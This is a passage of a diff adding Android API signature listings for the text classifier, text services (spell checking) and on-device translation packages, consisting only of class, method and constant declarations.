+  public final class TextClassificationSessionId implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getValue();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassificationSessionId> CREATOR;
+  }
+
+  public interface TextClassifier {
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextClassification classifyText(@NonNull android.view.textclassifier.TextClassification.Request);
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextClassification classifyText(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @Nullable android.os.LocaleList);
+    method public default void destroy();
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextLanguage detectLanguage(@NonNull android.view.textclassifier.TextLanguage.Request);
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextLinks generateLinks(@NonNull android.view.textclassifier.TextLinks.Request);
+    method @WorkerThread public default int getMaxGenerateLinksTextLength();
+    method public default boolean isDestroyed();
+    method public default void onSelectionEvent(@NonNull android.view.textclassifier.SelectionEvent);
+    method public default void onTextClassifierEvent(@NonNull android.view.textclassifier.TextClassifierEvent);
+    method @NonNull @WorkerThread public default android.view.textclassifier.ConversationActions suggestConversationActions(@NonNull android.view.textclassifier.ConversationActions.Request);
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextSelection suggestSelection(@NonNull android.view.textclassifier.TextSelection.Request);
+    method @NonNull @WorkerThread public default android.view.textclassifier.TextSelection suggestSelection(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @Nullable android.os.LocaleList);
+    field public static final String EXTRA_FROM_TEXT_CLASSIFIER = "android.view.textclassifier.extra.FROM_TEXT_CLASSIFIER";
+    field public static final String HINT_TEXT_IS_EDITABLE = "android.text_is_editable";
+    field public static final String HINT_TEXT_IS_NOT_EDITABLE = "android.text_is_not_editable";
+    field public static final android.view.textclassifier.TextClassifier NO_OP;
+    field public static final String TYPE_ADDRESS = "address";
+    field public static final String TYPE_DATE = "date";
+    field public static final String TYPE_DATE_TIME = "datetime";
+    field public static final String TYPE_EMAIL = "email";
+    field public static final String TYPE_FLIGHT_NUMBER = "flight";
+    field public static final String TYPE_OTHER = "other";
+    field public static final String TYPE_PHONE = "phone";
+    field public static final String TYPE_UNKNOWN = "";
+    field public static final String TYPE_URL = "url";
+    field public static final String WIDGET_TYPE_CLIPBOARD = "clipboard";
+    field public static final String WIDGET_TYPE_CUSTOM_EDITTEXT = "customedit";
+    field public static final String WIDGET_TYPE_CUSTOM_TEXTVIEW = "customview";
+    field public static final String WIDGET_TYPE_CUSTOM_UNSELECTABLE_TEXTVIEW = "nosel-customview";
+    field public static final String WIDGET_TYPE_EDITTEXT = "edittext";
+    field public static final String WIDGET_TYPE_EDIT_WEBVIEW = "edit-webview";
+    field public static final String WIDGET_TYPE_NOTIFICATION = "notification";
+    field public static final String WIDGET_TYPE_TEXTVIEW = "textview";
+    field public static final String WIDGET_TYPE_UNKNOWN = "unknown";
+    field public static final String WIDGET_TYPE_UNSELECTABLE_TEXTVIEW = "nosel-textview";
+    field public static final String WIDGET_TYPE_WEBVIEW = "webview";
+  }
+
+  public static final class TextClassifier.EntityConfig implements android.os.Parcelable {
+    method @Deprecated public static android.view.textclassifier.TextClassifier.EntityConfig create(@Nullable java.util.Collection<java.lang.String>, @Nullable java.util.Collection<java.lang.String>, @Nullable java.util.Collection<java.lang.String>);
+    method @Deprecated public static android.view.textclassifier.TextClassifier.EntityConfig createWithExplicitEntityList(@Nullable java.util.Collection<java.lang.String>);
+    method @Deprecated public static android.view.textclassifier.TextClassifier.EntityConfig createWithHints(@Nullable java.util.Collection<java.lang.String>);
+    method public int describeContents();
+    method public java.util.Collection<java.lang.String> getHints();
+    method public java.util.Collection<java.lang.String> resolveEntityListModifications(@NonNull java.util.Collection<java.lang.String>);
+    method public boolean shouldIncludeTypesFromTextClassifier();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifier.EntityConfig> CREATOR;
+  }
+
+  public static final class TextClassifier.EntityConfig.Builder {
+    ctor public TextClassifier.EntityConfig.Builder();
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig build();
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig.Builder includeTypesFromTextClassifier(boolean);
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig.Builder setExcludedTypes(@Nullable java.util.Collection<java.lang.String>);
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig.Builder setHints(@Nullable java.util.Collection<java.lang.String>);
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig.Builder setIncludedTypes(@Nullable java.util.Collection<java.lang.String>);
+  }
+
+  public abstract class TextClassifierEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public int[] getActionIndices();
+    method @NonNull public String[] getEntityTypes();
+    method public int getEventCategory();
+    method @Nullable public android.view.textclassifier.TextClassificationContext getEventContext();
+    method public int getEventIndex();
+    method public int getEventType();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public android.icu.util.ULocale getLocale();
+    method @Nullable public String getModelName();
+    method @Nullable public String getResultId();
+    method @NonNull public float[] getScores();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CATEGORY_CONVERSATION_ACTIONS = 3; // 0x3
+    field public static final int CATEGORY_LANGUAGE_DETECTION = 4; // 0x4
+    field public static final int CATEGORY_LINKIFY = 2; // 0x2
+    field public static final int CATEGORY_SELECTION = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifierEvent> CREATOR;
+    field public static final int TYPE_ACTIONS_GENERATED = 20; // 0x14
+    field public static final int TYPE_ACTIONS_SHOWN = 6; // 0x6
+    field public static final int TYPE_AUTO_SELECTION = 5; // 0x5
+    field public static final int TYPE_COPY_ACTION = 9; // 0x9
+    field public static final int TYPE_CUT_ACTION = 11; // 0xb
+    field public static final int TYPE_LINKS_GENERATED = 21; // 0x15
+    field public static final int TYPE_LINK_CLICKED = 7; // 0x7
+    field public static final int TYPE_MANUAL_REPLY = 19; // 0x13
+    field public static final int TYPE_OTHER_ACTION = 16; // 0x10
+    field public static final int TYPE_OVERTYPE = 8; // 0x8
+    field public static final int TYPE_PASTE_ACTION = 10; // 0xa
+    field public static final int TYPE_SELECTION_DESTROYED = 15; // 0xf
+    field public static final int TYPE_SELECTION_DRAG = 14; // 0xe
+    field public static final int TYPE_SELECTION_MODIFIED = 2; // 0x2
+    field public static final int TYPE_SELECTION_RESET = 18; // 0x12
+    field public static final int TYPE_SELECTION_STARTED = 1; // 0x1
+    field public static final int TYPE_SELECT_ALL = 17; // 0x11
+    field public static final int TYPE_SHARE_ACTION = 12; // 0xc
+    field public static final int TYPE_SMART_ACTION = 13; // 0xd
+    field public static final int TYPE_SMART_SELECTION_MULTI = 4; // 0x4
+    field public static final int TYPE_SMART_SELECTION_SINGLE = 3; // 0x3
+  }
+
+  public abstract static class TextClassifierEvent.Builder<T extends android.view.textclassifier.TextClassifierEvent.Builder<T>> {
+    method @NonNull public T setActionIndices(@NonNull int...);
+    method @NonNull public T setEntityTypes(@NonNull java.lang.String...);
+    method @NonNull public T setEventContext(@Nullable android.view.textclassifier.TextClassificationContext);
+    method @NonNull public T setEventIndex(int);
+    method @NonNull public T setExtras(@NonNull android.os.Bundle);
+    method @NonNull public T setLocale(@Nullable android.icu.util.ULocale);
+    method @NonNull public T setModelName(@Nullable String);
+    method @NonNull public T setResultId(@Nullable String);
+    method @NonNull public T setScores(@NonNull float...);
+  }
+
+  public static final class TextClassifierEvent.ConversationActionsEvent extends android.view.textclassifier.TextClassifierEvent implements android.os.Parcelable {
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifierEvent.ConversationActionsEvent> CREATOR;
+  }
+
+  public static final class TextClassifierEvent.ConversationActionsEvent.Builder extends android.view.textclassifier.TextClassifierEvent.Builder<android.view.textclassifier.TextClassifierEvent.ConversationActionsEvent.Builder> {
+    ctor public TextClassifierEvent.ConversationActionsEvent.Builder(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.ConversationActionsEvent build();
+  }
+
+  public static final class TextClassifierEvent.LanguageDetectionEvent extends android.view.textclassifier.TextClassifierEvent implements android.os.Parcelable {
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifierEvent.LanguageDetectionEvent> CREATOR;
+  }
+
+  public static final class TextClassifierEvent.LanguageDetectionEvent.Builder extends android.view.textclassifier.TextClassifierEvent.Builder<android.view.textclassifier.TextClassifierEvent.LanguageDetectionEvent.Builder> {
+    ctor public TextClassifierEvent.LanguageDetectionEvent.Builder(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.LanguageDetectionEvent build();
+  }
+
+  public static final class TextClassifierEvent.TextLinkifyEvent extends android.view.textclassifier.TextClassifierEvent implements android.os.Parcelable {
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifierEvent.TextLinkifyEvent> CREATOR;
+  }
+
+  public static final class TextClassifierEvent.TextLinkifyEvent.Builder extends android.view.textclassifier.TextClassifierEvent.Builder<android.view.textclassifier.TextClassifierEvent.TextLinkifyEvent.Builder> {
+    ctor public TextClassifierEvent.TextLinkifyEvent.Builder(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextLinkifyEvent build();
+  }
+
+  public static final class TextClassifierEvent.TextSelectionEvent extends android.view.textclassifier.TextClassifierEvent implements android.os.Parcelable {
+    method public int getRelativeSuggestedWordEndIndex();
+    method public int getRelativeSuggestedWordStartIndex();
+    method public int getRelativeWordEndIndex();
+    method public int getRelativeWordStartIndex();
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassifierEvent.TextSelectionEvent> CREATOR;
+  }
+
+  public static final class TextClassifierEvent.TextSelectionEvent.Builder extends android.view.textclassifier.TextClassifierEvent.Builder<android.view.textclassifier.TextClassifierEvent.TextSelectionEvent.Builder> {
+    ctor public TextClassifierEvent.TextSelectionEvent.Builder(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextSelectionEvent build();
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextSelectionEvent.Builder setRelativeSuggestedWordEndIndex(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextSelectionEvent.Builder setRelativeSuggestedWordStartIndex(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextSelectionEvent.Builder setRelativeWordEndIndex(int);
+    method @NonNull public android.view.textclassifier.TextClassifierEvent.TextSelectionEvent.Builder setRelativeWordStartIndex(int);
+  }
+
+  public final class TextLanguage implements android.os.Parcelable {
+    method public int describeContents();
+    method @FloatRange(from=0.0, to=1.0) public float getConfidenceScore(@NonNull android.icu.util.ULocale);
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public String getId();
+    method @NonNull public android.icu.util.ULocale getLocale(int);
+    method @IntRange(from=0) public int getLocaleHypothesisCount();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextLanguage> CREATOR;
+  }
+
+  public static final class TextLanguage.Builder {
+    ctor public TextLanguage.Builder();
+    method @NonNull public android.view.textclassifier.TextLanguage build();
+    method @NonNull public android.view.textclassifier.TextLanguage.Builder putLocale(@NonNull android.icu.util.ULocale, @FloatRange(from=0.0, to=1.0) float);
+    method @NonNull public android.view.textclassifier.TextLanguage.Builder setExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextLanguage.Builder setId(@Nullable String);
+  }
+
+  public static final class TextLanguage.Request implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getCallingPackageName();
+    method @NonNull public android.os.Bundle getExtras();
+    method @NonNull public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextLanguage.Request> CREATOR;
+  }
+
+  public static final class TextLanguage.Request.Builder {
+    ctor public TextLanguage.Request.Builder(@NonNull CharSequence);
+    method @NonNull public android.view.textclassifier.TextLanguage.Request build();
+    method @NonNull public android.view.textclassifier.TextLanguage.Request.Builder setExtras(@NonNull android.os.Bundle);
+  }
+
+  public final class TextLinks implements android.os.Parcelable {
+    method public int apply(@NonNull android.text.Spannable, int, @Nullable java.util.function.Function<android.view.textclassifier.TextLinks.TextLink,android.view.textclassifier.TextLinks.TextLinkSpan>);
+    method public int describeContents();
+    method @NonNull public android.os.Bundle getExtras();
+    method @NonNull public java.util.Collection<android.view.textclassifier.TextLinks.TextLink> getLinks();
+    method @NonNull public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int APPLY_STRATEGY_IGNORE = 0; // 0x0
+    field public static final int APPLY_STRATEGY_REPLACE = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextLinks> CREATOR;
+    field public static final int STATUS_DIFFERENT_TEXT = 3; // 0x3
+    field public static final int STATUS_LINKS_APPLIED = 0; // 0x0
+    field public static final int STATUS_NO_LINKS_APPLIED = 2; // 0x2
+    field public static final int STATUS_NO_LINKS_FOUND = 1; // 0x1
+    field public static final int STATUS_UNSUPPORTED_CHARACTER = 4; // 0x4
+  }
+
+  public static final class TextLinks.Builder {
+    ctor public TextLinks.Builder(@NonNull String);
+    method @NonNull public android.view.textclassifier.TextLinks.Builder addLink(int, int, @NonNull java.util.Map<java.lang.String,java.lang.Float>);
+    method @NonNull public android.view.textclassifier.TextLinks.Builder addLink(int, int, @NonNull java.util.Map<java.lang.String,java.lang.Float>, @NonNull android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextLinks build();
+    method @NonNull public android.view.textclassifier.TextLinks.Builder clearTextLinks();
+    method @NonNull public android.view.textclassifier.TextLinks.Builder setExtras(@Nullable android.os.Bundle);
+  }
+
+  public static final class TextLinks.Request implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getCallingPackageName();
+    method @Nullable public android.os.LocaleList getDefaultLocales();
+    method @Nullable public android.view.textclassifier.TextClassifier.EntityConfig getEntityConfig();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public java.time.ZonedDateTime getReferenceTime();
+    method @NonNull public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextLinks.Request> CREATOR;
+  }
+
+  public static final class TextLinks.Request.Builder {
+    ctor public TextLinks.Request.Builder(@NonNull CharSequence);
+    method @NonNull public android.view.textclassifier.TextLinks.Request build();
+    method @NonNull public android.view.textclassifier.TextLinks.Request.Builder setDefaultLocales(@Nullable android.os.LocaleList);
+    method @NonNull public android.view.textclassifier.TextLinks.Request.Builder setEntityConfig(@Nullable android.view.textclassifier.TextClassifier.EntityConfig);
+    method public android.view.textclassifier.TextLinks.Request.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextLinks.Request.Builder setReferenceTime(@Nullable java.time.ZonedDateTime);
+  }
+
+  public static final class TextLinks.TextLink implements android.os.Parcelable {
+    method public int describeContents();
+    method @FloatRange(from=0.0, to=1.0) public float getConfidenceScore(String);
+    method public int getEnd();
+    method @NonNull public String getEntity(int);
+    method public int getEntityCount();
+    method @NonNull public android.os.Bundle getExtras();
+    method public int getStart();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextLinks.TextLink> CREATOR;
+  }
+
+  public static class TextLinks.TextLinkSpan extends android.text.style.ClickableSpan {
+    ctor public TextLinks.TextLinkSpan(@NonNull android.view.textclassifier.TextLinks.TextLink);
+    method public final android.view.textclassifier.TextLinks.TextLink getTextLink();
+    method public void onClick(android.view.View);
+  }
+
+  public final class TextSelection implements android.os.Parcelable {
+    method public int describeContents();
+    method @FloatRange(from=0.0, to=1.0) public float getConfidenceScore(String);
+    method @NonNull public String getEntity(int);
+    method @IntRange(from=0) public int getEntityCount();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public String getId();
+    method public int getSelectionEndIndex();
+    method public int getSelectionStartIndex();
+    method @Nullable public android.view.textclassifier.TextClassification getTextClassification();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextSelection> CREATOR;
+  }
+
+  public static final class TextSelection.Builder {
+    ctor public TextSelection.Builder(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.view.textclassifier.TextSelection build();
+    method @NonNull public android.view.textclassifier.TextSelection.Builder setEntityType(@NonNull String, @FloatRange(from=0.0, to=1.0) float);
+    method @NonNull public android.view.textclassifier.TextSelection.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextSelection.Builder setId(@Nullable String);
+    method @NonNull public android.view.textclassifier.TextSelection.Builder setTextClassification(@Nullable android.view.textclassifier.TextClassification);
+  }
+
+  public static final class TextSelection.Request implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getCallingPackageName();
+    method @Nullable public android.os.LocaleList getDefaultLocales();
+    method @IntRange(from=0) public int getEndIndex();
+    method @NonNull public android.os.Bundle getExtras();
+    method @IntRange(from=0) public int getStartIndex();
+    method @NonNull public CharSequence getText();
+    method public boolean shouldIncludeTextClassification();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextSelection.Request> CREATOR;
+  }
+
+  public static final class TextSelection.Request.Builder {
+    ctor public TextSelection.Request.Builder(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.view.textclassifier.TextSelection.Request build();
+    method @NonNull public android.view.textclassifier.TextSelection.Request.Builder setDefaultLocales(@Nullable android.os.LocaleList);
+    method @NonNull public android.view.textclassifier.TextSelection.Request.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextSelection.Request.Builder setIncludeTextClassification(boolean);
+  }
+
+}
+
+package android.view.textservice {
+
+  public final class SentenceSuggestionsInfo implements android.os.Parcelable {
+    ctor public SentenceSuggestionsInfo(android.view.textservice.SuggestionsInfo[], int[], int[]);
+    ctor public SentenceSuggestionsInfo(android.os.Parcel);
+    method public int describeContents();
+    method public int getLengthAt(int);
+    method public int getOffsetAt(int);
+    method public int getSuggestionsCount();
+    method public android.view.textservice.SuggestionsInfo getSuggestionsInfoAt(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textservice.SentenceSuggestionsInfo> CREATOR;
+  }
+
+  public final class SpellCheckerInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.content.ComponentName getComponent();
+    method public String getId();
+    method public String getPackageName();
+    method public android.content.pm.ServiceInfo getServiceInfo();
+    method public String getSettingsActivity();
+    method public android.view.textservice.SpellCheckerSubtype getSubtypeAt(int);
+    method public int getSubtypeCount();
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textservice.SpellCheckerInfo> CREATOR;
+  }
+
+  public class SpellCheckerSession {
+    method public void cancel();
+    method public void close();
+    method public void getSentenceSuggestions(android.view.textservice.TextInfo[], int);
+    method public android.view.textservice.SpellCheckerInfo getSpellChecker();
+    method @Deprecated public void getSuggestions(android.view.textservice.TextInfo, int);
+    method @Deprecated public void getSuggestions(android.view.textservice.TextInfo[], int, boolean);
+    method public boolean isSessionDisconnected();
+    field public static final String SERVICE_META_DATA = "android.view.textservice.scs";
+  }
+
+  public static interface SpellCheckerSession.SpellCheckerSessionListener {
+    method public void onGetSentenceSuggestions(android.view.textservice.SentenceSuggestionsInfo[]);
+    method public void onGetSuggestions(android.view.textservice.SuggestionsInfo[]);
+  }
+
+  public static class SpellCheckerSession.SpellCheckerSessionParams {
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public java.util.Locale getLocale();
+    method public int getSupportedAttributes();
+    method public boolean shouldReferToSpellCheckerLanguageSettings();
+  }
+
+  public static final class SpellCheckerSession.SpellCheckerSessionParams.Builder {
+    ctor public SpellCheckerSession.SpellCheckerSessionParams.Builder();
+    method @NonNull public android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams build();
+    method @NonNull public android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams.Builder setExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams.Builder setLocale(@Nullable java.util.Locale);
+    method @NonNull public android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams.Builder setShouldReferToSpellCheckerLanguageSettings(boolean);
+    method @NonNull public android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams.Builder setSupportedAttributes(int);
+  }
+
+  public final class SpellCheckerSubtype implements android.os.Parcelable {
+    ctor @Deprecated public SpellCheckerSubtype(int, String, String);
+    method public boolean containsExtraValueKey(String);
+    method public int describeContents();
+    method public CharSequence getDisplayName(android.content.Context, String, android.content.pm.ApplicationInfo);
+    method public String getExtraValue();
+    method public String getExtraValueOf(String);
+    method @NonNull public String getLanguageTag();
+    method @Deprecated @NonNull public String getLocale();
+    method public int getNameResId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textservice.SpellCheckerSubtype> CREATOR;
+  }
+
+  public final class SuggestionsInfo implements android.os.Parcelable {
+    ctor public SuggestionsInfo(int, String[]);
+    ctor public SuggestionsInfo(int, String[], int, int);
+    ctor public SuggestionsInfo(android.os.Parcel);
+    method public int describeContents();
+    method public int getCookie();
+    method public int getSequence();
+    method public String getSuggestionAt(int);
+    method public int getSuggestionsAttributes();
+    method public int getSuggestionsCount();
+    method public void setCookieAndSequence(int, int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textservice.SuggestionsInfo> CREATOR;
+    field public static final int RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS = 16; // 0x10
+    field public static final int RESULT_ATTR_HAS_RECOMMENDED_SUGGESTIONS = 4; // 0x4
+    field public static final int RESULT_ATTR_IN_THE_DICTIONARY = 1; // 0x1
+    field public static final int RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR = 8; // 0x8
+    field public static final int RESULT_ATTR_LOOKS_LIKE_TYPO = 2; // 0x2
+  }
+
+  public final class TextInfo implements android.os.Parcelable {
+    ctor public TextInfo(String);
+    ctor public TextInfo(String, int, int);
+    ctor public TextInfo(CharSequence, int, int, int, int);
+    ctor public TextInfo(android.os.Parcel);
+    method public int describeContents();
+    method public CharSequence getCharSequence();
+    method public int getCookie();
+    method public int getSequence();
+    method public String getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textservice.TextInfo> CREATOR;
+  }
+
+  public final class TextServicesManager {
+    method @Nullable public android.view.textservice.SpellCheckerInfo getCurrentSpellCheckerInfo();
+    method @NonNull public java.util.List<android.view.textservice.SpellCheckerInfo> getEnabledSpellCheckerInfos();
+    method public boolean isSpellCheckerEnabled();
+    method @Nullable public android.view.textservice.SpellCheckerSession newSpellCheckerSession(@Nullable android.os.Bundle, @Nullable java.util.Locale, @NonNull android.view.textservice.SpellCheckerSession.SpellCheckerSessionListener, boolean);
+    method @Nullable public android.view.textservice.SpellCheckerSession newSpellCheckerSession(@NonNull android.view.textservice.SpellCheckerSession.SpellCheckerSessionParams, @NonNull java.util.concurrent.Executor, @NonNull android.view.textservice.SpellCheckerSession.SpellCheckerSessionListener);
+  }
+
+}
+
+package android.view.translation {
+
+  public final class TranslationCapability implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.translation.TranslationSpec getSourceSpec();
+    method public int getState();
+    method public int getSupportedTranslationFlags();
+    method @NonNull public android.view.translation.TranslationSpec getTargetSpec();
+    method public boolean isUiTranslationEnabled();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationCapability> CREATOR;
+    field public static final int STATE_AVAILABLE_TO_DOWNLOAD = 1; // 0x1
+    field public static final int STATE_DOWNLOADING = 2; // 0x2
+    field public static final int STATE_NOT_AVAILABLE = 4; // 0x4
+    field public static final int STATE_ON_DEVICE = 3; // 0x3
+  }
+
+  public final class TranslationContext implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.translation.TranslationSpec getSourceSpec();
+    method @NonNull public android.view.translation.TranslationSpec getTargetSpec();
+    method public int getTranslationFlags();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationContext> CREATOR;
+    field public static final int FLAG_DEFINITIONS = 4; // 0x4
+    field public static final int FLAG_LOW_LATENCY = 1; // 0x1
+    field public static final int FLAG_TRANSLITERATION = 2; // 0x2
+  }
+
+  public static final class TranslationContext.Builder {
+    ctor public TranslationContext.Builder(@NonNull android.view.translation.TranslationSpec, @NonNull android.view.translation.TranslationSpec);
+    method @NonNull public android.view.translation.TranslationContext build();
+    method @NonNull public android.view.translation.TranslationContext.Builder setTranslationFlags(int);
+  }
+
+  public final class TranslationManager {
+    method public void addOnDeviceTranslationCapabilityUpdateListener(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.view.translation.TranslationCapability>);
+    method public void createOnDeviceTranslator(@NonNull android.view.translation.TranslationContext, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.view.translation.Translator>);
+    method @NonNull @WorkerThread public java.util.Set<android.view.translation.TranslationCapability> getOnDeviceTranslationCapabilities(int, int);
+    method @Nullable public android.app.PendingIntent getOnDeviceTranslationSettingsActivityIntent();
+    method public void removeOnDeviceTranslationCapabilityUpdateListener(@NonNull java.util.function.Consumer<android.view.translation.TranslationCapability>);
+  }
+
+  public final class TranslationRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getFlags();
+    method @NonNull public java.util.List<android.view.translation.TranslationRequestValue> getTranslationRequestValues();
+    method @NonNull public java.util.List<android.view.translation.ViewTranslationRequest> getViewTranslationRequests();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationRequest> CREATOR;
+    field public static final int FLAG_DICTIONARY_RESULT = 2; // 0x2
+    field public static final int FLAG_PARTIAL_RESPONSES = 8; // 0x8
+    field public static final int FLAG_TRANSLATION_RESULT = 1; // 0x1
+    field public static final int FLAG_TRANSLITERATION_RESULT = 4; // 0x4
+  }
+
+  public static final class TranslationRequest.Builder {
+    ctor public TranslationRequest.Builder();
+    method @NonNull public android.view.translation.TranslationRequest build();
+    method @NonNull public android.view.translation.TranslationRequest.Builder setFlags(int);
+    method @NonNull public android.view.translation.TranslationRequest.Builder setTranslationRequestValues(@NonNull java.util.List<android.view.translation.TranslationRequestValue>);
+    method @NonNull public android.view.translation.TranslationRequest.Builder setViewTranslationRequests(@NonNull java.util.List<android.view.translation.ViewTranslationRequest>);
+  }
+
+  public final class TranslationRequestValue implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public static android.view.translation.TranslationRequestValue forText(@NonNull CharSequence);
+    method @Nullable public CharSequence getText();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationRequestValue> CREATOR;
+  }
+
+  public final class TranslationResponse implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.util.SparseArray<android.view.translation.TranslationResponseValue> getTranslationResponseValues();
+    method public int getTranslationStatus();
+    method @NonNull public android.util.SparseArray<android.view.translation.ViewTranslationResponse> getViewTranslationResponses();
+    method public boolean isFinalResponse();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationResponse> CREATOR;
+    field public static final int TRANSLATION_STATUS_CONTEXT_UNSUPPORTED = 2; // 0x2
+    field public static final int TRANSLATION_STATUS_SUCCESS = 0; // 0x0
+    field public static final int TRANSLATION_STATUS_UNKNOWN_ERROR = 1; // 0x1
+  }
+
+  public static final class TranslationResponse.Builder {
+    ctor public TranslationResponse.Builder(int);
+    method @NonNull public android.view.translation.TranslationResponse build();
+    method @NonNull public android.view.translation.TranslationResponse.Builder setFinalResponse(boolean);
+    method @NonNull public android.view.translation.TranslationResponse.Builder setTranslationResponseValue(int, @NonNull android.view.translation.TranslationResponseValue);
+    method @NonNull public android.view.translation.TranslationResponse.Builder setTranslationResponseValues(@NonNull android.util.SparseArray<android.view.translation.TranslationResponseValue>);
+    method @NonNull public android.view.translation.TranslationResponse.Builder setViewTranslationResponse(int, @NonNull android.view.translation.ViewTranslationResponse);
+    method @NonNull public android.view.translation.TranslationResponse.Builder setViewTranslationResponses(@NonNull android.util.SparseArray<android.view.translation.ViewTranslationResponse>);
+  }
+
+  public final class TranslationResponseValue implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public static android.view.translation.TranslationResponseValue forError();
+    method @NonNull public android.os.Bundle getExtras();
+    method public int getStatusCode();
+    method @Nullable public CharSequence getText();
+    method @Nullable public CharSequence getTransliteration();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationResponseValue> CREATOR;
+    field public static final String EXTRA_DEFINITIONS = "android.view.translation.extra.DEFINITIONS";
+    field public static final int STATUS_ERROR = 1; // 0x1
